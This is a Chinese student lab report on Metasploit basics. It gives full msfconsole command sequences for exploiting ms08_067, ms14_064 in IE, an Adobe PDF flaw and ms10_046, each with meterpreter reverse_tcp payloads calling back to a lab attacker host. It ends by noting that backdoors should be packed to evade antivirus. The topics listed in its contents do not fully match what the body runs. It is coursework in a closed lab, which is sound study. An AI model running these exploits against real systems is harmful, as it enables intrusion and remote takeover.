2019-2020-2 网络对抗技术 20175324 Exp6 MSF基础应用
一、原理与实践说明
1.实践原理
- 2.实践内容概述
- 3.基础问题回答
二、攻击过程记录
- 任务一:主动攻击的实践
- ms08_067_netapi:自动化漏洞溢出攻击
- 任务二:攻击浏览器的实践
- ms07-017
- ms11-050
- 任务三:攻击客户端的实践
- Adobe
- ms10_046
- 任务四:成功应用任何一个辅助模块
- 在ms08_067中应用
use auxiliary/scanner/portscan/tcp搜索靶机开放端口
- 在ms08_067中应用
三、实验遇到的问题及解决方法
四、实验总结与体会
一、原理与实践说明
1.实践目标
1.MSF攻击方法
- 主动攻击:扫描主机漏洞,进行攻击
- 攻击浏览器
- 攻击其他客户端
2.MSF的六个模块
-
渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去
-
辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
-
攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
-
空字段模块Nop Modules
-
编码模块Encoders
-
后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行
MSF的三种用户操作界面
- msfconsole
- 查看模块的具体信息info
[exploits|auxiliary|post|payloads|encoders|nops] - 查看设置信息
show [options] - 查看攻击目标类型
show [target] - 查找命令
search - 查找2018年产生的在windows平台下的漏洞
search ms18(或CNE:2018) type:exploit platform:windows - armitage
- 启动服务器
service postgresql start - 启动
armitagearmitage - webgui
4.MSF常用漏洞利用命令
search name:用指定关键字搜索可以利用的漏洞模块use exploit name:使用漏洞show options:显示配置选项set option name option:设置选项show payloads:回链攻击载荷show targets: 显示目标(os版本)set TARGET target number:设置目标版本exploit:开始漏洞攻击sessions -l:列出会话sessions -i id:选择会话sessions -k id:结束会话Ctrl+z:把会话放到后台Ctrl+c:结束会话show auxiliary:显示辅助模块use auxiliary name:使用辅助模块set option name option:设置选项exploit:运行模块
2.实践内容概述
掌握metasploit的基本应用方式:
-
一个主动攻击实践,如ms08_067; (1分)
-
一个针对浏览器的攻击,如ms11_050;(1分)
-
一个针对客户端的攻击,如Adobe;(1分)
-
成功应用任何一个辅助模块。(0.5分)
3.基础问题回答
用自己的话解释什么是exploit,payload,encode.
-
exploit是攻击模块,就是是利用某些特定的漏洞,将攻击的具体执行步骤传到靶机上。
-
payload是攻击载荷,即渗透成功后帮助攻击者接下来进一步控制靶机所需要的东西。
-
encode是编码,用来改变payload,避免payload中出现漏洞无法处理的字符;其次是为了实现免杀,避免payload被杀软发现。
二、实践过程记录
任务一:主动攻击的实践
ms08_067_netapi:自动化漏洞溢出攻击
靶机:Windows Server 2003 Enterprise Edition with SP1 (English)
先测试主机与靶机间网络联通状况



启动msfconsole查找漏洞search ms08-067,可以看到该漏洞的渗透模块:

use exploit/windows/smb/ms08_067_netapi选择该漏洞
使用show targets查看targets,可以根据靶机的操作系统进行修改,也可以不修改,自动识别。
set RHOSTS 192.168.149.163设置靶机IPshow payloads查看可用payload


输入exploit进行攻击

任务二:攻击浏览器的实践
1.ms14-064
用search ms14-064查询一下针对该漏洞的攻击模块

use exploit/windows/browser/ms14_064_ole_code_execution使用该模块:
用set payload windows/meterpreter/reverse_tcp设置payloadshow options查看信息,并设置需要设置的参数。

exploit攻击后会生成带有攻击性的URL,这里生成的URL为:http://192.168.149.129:8080/t9dPkWoo6VIDv
在winxp上用ie浏览器打开:

再回到kali 发现已经回连成功:

这样就攻击成功了
2.ms14_064
同样的方法,先在控制台输入search ms14_064搜索对于该漏洞的攻击模块
输入use exploit/windows/browser/ms14_064_ole_code_execution指令选择攻击模块

show payloads 显示可用攻击载荷

set payload windows/meterpreter/reverse_tcp选择攻击载荷show options查看配置信息
进行配置修改:
使用exploit进行攻击,这时会生成一个链接,把这个链接复制到WindowsXP里打开
这时候kali这里已经显示连接成功了
输入sessions -i 1即可选择第一个会话,调用shell权限成功

任务三:攻击客户端的实践
1.Adobe
靶机:Windows XP
步骤:
- search adobe //查找Adobe漏洞
- use windows/fileformat/adobe_cooltype_sing //使用漏洞
- set payload windows/meterpreter/reverse_tcp //选择攻击载荷
- set LHOST 192.168.149.129 //攻击者地址
- set FILENAME 20175324.pdf //设置生成pdf文件的文件名
- exploit //攻击

将生成的文件复制之后导入靶机中,然后退出当前模块,进入监听模块:
- back //退出当前模块
- use exploit/multi/handler //进入监听模块
- set payload windows/meterpreter/reverse_tcp //选择攻击载荷
- set LHOST 192.168.149.129 //攻击者地址
- exploit //攻击

在靶机运行20175324.pdf

回到kali,发现已经成功了

2.ms10_046
靶机:Windows 7 + IE8
实验步骤:
search ms10-046#看看其他的exploituse exploit/windows/smb/ms10_046_shortcut_icon_dllloader#使用漏洞show payloads#显示可用攻击载荷set peyloads windows/meterpreter/reverse_tcp#选择攻击载荷show options#查看配置信息set LHOST 192.168.149.129#设置监听地址set SRVHOST 192.168.149.129#设置本地收听地址set RHOSTS 192.168.149.163#设置靶机地址
exploit #开始攻击
将/root/.msf4/local/msf.lnk共享到win7虚拟机中,然后双击,即可在kail监听到,输入sessions 1查看当前会话

任务四:成功应用任何一个辅助模块
在ms08_067中应用use auxiliary/scanner/portscan/tcp搜索靶机开放端口
- search portscan # 搜索端口相关的漏洞

- use auxiliary/scanner/portscan/tcp # 使用漏洞
- show options #显示设置

- 设置参数,并进行扫描:

三、实验遇到的问题及解决方法
在刚开始时,因为虚拟机版本错误,实验一直失败

在同学帮助下找到了Windows Server 2003 Enterprise Edition with SP1 (English)的镜像
从而解决了问题。
四、实验总结与体会
经过这次实验,我对msf的攻击又有了新的认识。每个系统版本的漏洞都不相同,在我们攻击前,应该先收集对方的信息,清楚它的操作系统。我们可以通过生成后门文件,来对目标进行攻击,而想把后门文件悄无声息的放到目标机里不被发现,我们就要对其进行加壳等操作。
这次实验生成的一些后门文件仍未逃过系统的检测,还需要进一步的学习。
